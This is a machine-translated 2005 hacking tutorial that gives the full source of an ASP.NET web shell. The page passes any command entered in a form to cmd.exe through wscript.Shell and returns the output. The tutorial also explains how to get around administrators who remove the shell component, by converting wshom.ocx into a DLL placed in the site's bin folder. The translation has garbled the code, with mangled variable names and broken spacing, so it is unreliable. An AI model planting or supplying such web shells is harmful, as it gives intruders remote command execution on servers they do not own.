ASP. NET provides two methods for us to use the COM component: 1. The creatobject method of the server object; 2. Converting the COM component into a. NET component.
· Creatobject method of the Server Object
This method is simple and can be used directly. Of course, the premise is that the component has been registered on the server, and wscript. Shell comes with the system, so we don't have to worry about it. Just compile Code Pay attention to the nuances of ASP. NET and ASP syntax. The Code is as follows:
<! --
Titel: wscript. Shell. Net version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http: // lake2.0 × 54. org
Thanks: Internet
Date: 2005-8-20
->
<% @ Page Language = "VB" validaterequest = "false" aspcompat = "true" %>
<SCRIPT runat = "server">
Sub runcmd (SRC as object, e as eventargs)
Dim strresult as string
Dim external shell as object
Cmdshell = server. Createobject ("wscript. Shell ")
Strresult = export shell. Exec (export path. Text & "/C" & export box. Text). stdout. readall
Strresult = Replace (strresult, "<", "<")
Strresult = Replace (strresult, ">", "> ")
Resultlabel. Text = "<PRE>" & strresult & "</PRE>"
End sub
</SCRIPT>
<HTML>
<Head> <title> wsh. Shell for ASP. NET by lake2 </title>
<Body>
<Form runat = "server">
"Cmd.exe"'s path: <asp: textbox id = "cmdpath" width = "500" text = "cmd.exe" runat = "server"/>
<Br>
Your command: <asp: textbox id = "product_box" width = "200" runat = "server"/>
<Asp: button id = "button" text = "run" onclick = "runcmd" runat = "server"/>
<Br>
<Asp: Label id = "resultlabel" runat = "server"/>
</Form>
<Div align = "center"> ---- <font color = "# 0000ff"> enjoy hacking! </Font> ----
</Div>
& Lt; HR width = "50%" & gt;
</Body>
</Html>
Save it as An ASPX file and access it.
· Convert COM components to. NET components
Microsoft provides the Type Library importer. After conversion, we can use the COM component. After conversion, there will be a DLL file that needs to be placed in the bin directory of the web directory for the component to be used.
Although there is one more DLL, This dll can be directly used without registration, which is very convenient. This is also one of the differences between ASP. NET and ASP. Haha, some BT administrators have nothing to do with deleting "harmful" components. Now he can't do it anymore. ^_^
The wscript. Shell object is % WINDIR % \ system32 \ wshom. ocx. We copy it to the Type Library importer for conversion: tlbimp.exe wshom. ocx/out: wshomx. dll
Then put wshomx. dll under the bin of the web directory. Then write the code, which is a little different from the previous code.
<! --
Titel: wscript. Shell. Net Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http: // lake2.0 × 54. org
Thanks: Internet
Date: 2005-8-20
->
<% @ Page Language = "VB" validaterequest = "false" %>
<SCRIPT runat = "server">
Sub runcmd (SRC as object, e as eventargs)
Dim strresult as string
Dim mongoshell as new wshomx. wshshell
......
(Same as code 1 later)
Visit here to see the effect :)
Similarly, we can also use FSO to read and write files in ASP. NET, execute commands in the application, send emails in jmail, and so on. Haha,. NET is promising.
(Click here to download the program. Wscmd. aspx can be used directly; wsxcmd. aspx must use wshomx. dll)